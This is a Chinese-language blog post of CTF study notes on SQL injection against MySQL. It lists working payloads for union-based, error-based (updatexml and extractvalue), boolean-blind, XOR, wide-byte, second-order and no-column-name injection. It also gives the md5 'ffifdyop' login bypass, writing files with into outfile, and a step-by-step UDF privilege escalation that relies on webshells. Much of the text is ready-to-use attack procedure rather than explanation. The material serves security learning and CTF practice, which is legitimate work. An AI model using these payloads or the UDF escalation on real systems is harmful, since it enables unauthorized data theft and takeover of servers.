sql-ways
本文最后更新于:1 年前
sql注入相关方法/问题
sql注入方式
常规手注
所用库:
information_schema
information_schema 数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。
information_schema 保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。
所用表:
information_schema.tables
information_schema.columns
所用字段: (查询//数据源)
information_schema.tables –> table_name // table_schema
information_schema.columns –> column_name // table_name
1.确认注入点
union select 1,2,3;#
2.查库
union select 1,2,group_concat(database())#
3.查表
union select 1,2,group_concat(table_name)
from information_schema.tables
where table_schema=database()#
4.查列
union select 1,2,group_concat(column_name)
from information_schmea.columns
where table_name=()#
5.查字段
union select 1,2,group_concat()
from ()#
报错注入
updatexml()
注入姿势:
updatexml(1,concat(0x7e,(select语句),0x7e),1)
详见 buu-1mark [极客大挑战 2019]HardSQL
extractvalue()
extractvalue(目标xml文档,xml路径)
函数的第二个参数是可以进行操作的地方,xml文件中查询使用的是/xx/xx/的格式,如果我们写成其他的格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法格式的内容就是我们想要查询的内容
注入姿势:
' and extractvalue(1,concat(0x5c,(select database())))#
' and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='')))#
堆叠注入
数据库的多条语句执行(;;;;;)
实际应用场景中,堆叠注入遇到的会很少,大部分会在CTF比赛中遇到。主要原因是,堆叠注入的利用看起来很厉害但是其可能会受到 API、数据库引擎或者权限的控制。只有当调用函数库函数支持执行多条语句执行的时候才可以利用
如利用mysql_multi_query()函数就支持多条SQL语句同时执行,实际情况中如PHP的防SQL注入机制,其使用的数据库函数为 “mysqli_query()”函数。 所以说堆叠注入的使用条件比较有局限性。但是一旦可以被使用,造成的伤害则是非常巨大的
布尔盲注
原理/核心:
存在T/F可区分的回显,对所需要的每一个字符进行T/F判断
所使用的函数:
取字符: substr///
进行判断: ascii///char///ord
基本语句:
select
substr((select),{},1)
ascii(substr((select),{},1))={}
异或^注入
0^0=0
1^1=0
0^1=1
1^0=1
//相同为0,不同为1
例:[极客大挑战 2019]FinalSQL
md5() ffifdyop
$sql= "SELECT * FROM admin WHERE pass = '".md5($password,true)." ' "
思路比较明确,当md5后的hex转换成字符串后,如果包含'or'这样的字符串,那整个sql变成
SELECT * FROM admin WHEREpass=''or'6'
///--->ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串:'or'6
附上一篇err0r师傅的md5比较:https://err0r.top/article/md5/?highlight=md5
宽字节注入
利用编码方式的不同,借用转义函数,将转义函数添加的\转换为宽字节,造成’的逃逸
%df’ => %df' => %df%5c’ => 運’ => 造成’的逃逸
转义函数
addslashes,mysql_real_escape_string,mysql_escape_string
宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击
二次注入
https://blog.csdn.net/kuiguowei/article/details/79045069
**原理: **
后端语句对用户输入的数据进行严格的过滤
但对于从数据库中的搜索,提取的数据不进行过滤、判断
直接使用、代入数据库语句中使用
造成sql注入威胁
操作步骤:
1.将恶意数据插入数据库
2.调用恶意数据/使恶意数据在sql语句中起到非预期作用
3.回显/根据回显数据调整恶意数据的编写
常见类型:
注册-登录
添加某种数据类型-显示/展示详情
例:
[SWPU2019]Web1
mysql数据库对转义字符\的存储
后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义
经过函数转义后转义字符前+
但在数据库存储时存储原字符
(如用户输入#,经过函数处理的字符串->#,插入数据库中的数据仍为#)
mysql数据库对于\的存储自动-1
即:\->,->null
无列名注入
https://zhuanlan.zhihu.com/p/98206699
//共有1,2,3三列数据
//用1,2,3 代替列名输出
select 1,2,3 union select * from table_name;
//查询第三列的数据
select group_concat(b) from(select 1,2,3 as b union select * from table_name)m;
//或者不用别名
select `3` from(select 1,2,3 union select * from table_name)m;
例:[SWPU2019]Web1
mysql 写文件
//将数据导出到''文件中------需要一个登录服务器的账号
select * from xxx_table
into outfile '';
水平/平行越权和垂直越权
平行越权 (访问控制攻击) :同等级的用户之间的越权操作
垂直越权 (跨级别越权) :低等级用户获取高等级用户的权限
mysql UDF 提权
UDF
user defined function
用户自定义函数
用户可以添加自定义的新函数到 Mysql 中
UDF 在渗透中的作用
拿到服务器的shell(权限低) –> 服务器配置了mysql –> 自定义的函数拥有管理员权限 –> 管理员的权限
在一般渗透过程中,拿下一台windows服务器的webshell时,由于webshell权限较低,有些操作无法进行,而此时本地恰好存在mysql数据库,那么udf可能就派上用场了;由于windows安装的mysql进程一般都拥有管理员权限,这就意味着用户自定义的函数也拥有管理员权限,我们也就拥有了执行管理员命令的权限,这时新建管理员用户等操作也就轻而易举了,大多数人称为这一操作为udf提权,其实表达不够准确,应该称为通过mysql获得管理员权限
利用条件
1、mysql配置文件secure_file_priv项设置为空,(如果为NULL或/tmp/等指定目录,即无法自定义udf文件导出位置,则无法利用);
2、CREATE权限、FILE权限(root用户默认拥有所有权限)
3、INSERT权限、UPDATE权限、DELETE权限
操作步骤
1、查看可导出文件位置
2、查看当前数据库用户权限
3、确定mysql安装位置
4、通过主机版本及架构确定mysql位数来选用udf文件
5、查看数据库版本,判断udf文件写入位置
5.1 mysql大于5.1版本时
5.1.1 查看 plugin 目录,存在 lib\plugin 目录且有webshell时,直接上传udf文件
5.1.2 查看 plugin 目录,存在 lib\plugin 目录但没有webshell时,则需要以16进制编码写入udf文件
5.1.3 查看 plugin 目录,不存在 lib\plugin 目录但有webshell,可使用webshell创建 lib\plugin目录
5.1.4 查看 plugin 目录,不存在 lib\plugin 目录也没有webshell,此时就要使用网传ADS文件流创建目录的方法了
5.2 mysql小于5.1版本时
5.2.1 有webshell时,通过webshell上传udf文件
5.2.2 无webshell时,使用dumpfile通过16进制数据流写入udf文件
6、创建命令执行函数
7、命令执行
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!